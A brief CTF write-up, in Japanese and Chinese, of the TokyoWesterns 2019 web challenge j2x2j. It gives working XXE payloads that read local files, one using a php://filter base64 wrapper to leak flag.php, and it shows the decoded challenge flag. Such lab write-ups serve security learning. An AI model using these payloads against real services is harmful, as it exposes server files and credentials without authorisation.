TokyoWesterns CTF 5th 2019 Write up

今回のTokyoWesterns CTF 5th 2019で、私とSinonさん(遅くて来たw)はチームweRubb1shで参加しました。 122 ptsで298位でした。 私は一問を解けただけ。 悔しいです。

[Web] j2x2j (Point: 59)

在做pwn的途中卡住了 所以跑去做做web 自己對於XXE是沒什麼認識 這次是第一次動手去做XXE

完結了之後才發現view source的話會看到include 'flag.php' 我是在url裡打/flag.php才知道有flag.php在 :P 去google裡找到以output出/etc/passwd來確定XXE的方法 再在那個json<->xml試試 /etc/passwd真的出來了 之後再把website在server的location找出來 如果directory或file不存在的話 failed to decode xml會出現

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///var/www/html/sample.json">]>                                                             
<message>
<message>&xxe;</message>
<title>xml</title>
</message>

這樣去找出了sample.json

由於flag在寫了在php裡 直接把sample.json換成flag.php還是會看不到東西 所以用以下的payload把flag.php用base64 encode拿出來

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flag.php">]>                                                             
<message>
<message>&xxe;</message>
<title>xml</title>
</message>
{
    "message": "PD9waHAKJGZsYWcgPSAnVFdDVEZ7dDFueV9YWEVfc3QxbGxfZXgxc3RzX2V2ZXJ5d2hlcmV9JzsK",
    "title": "xml"
}
<?php
$flag = 'TWCTF{t1ny_XXE_st1ll_ex1sts_everywhere}';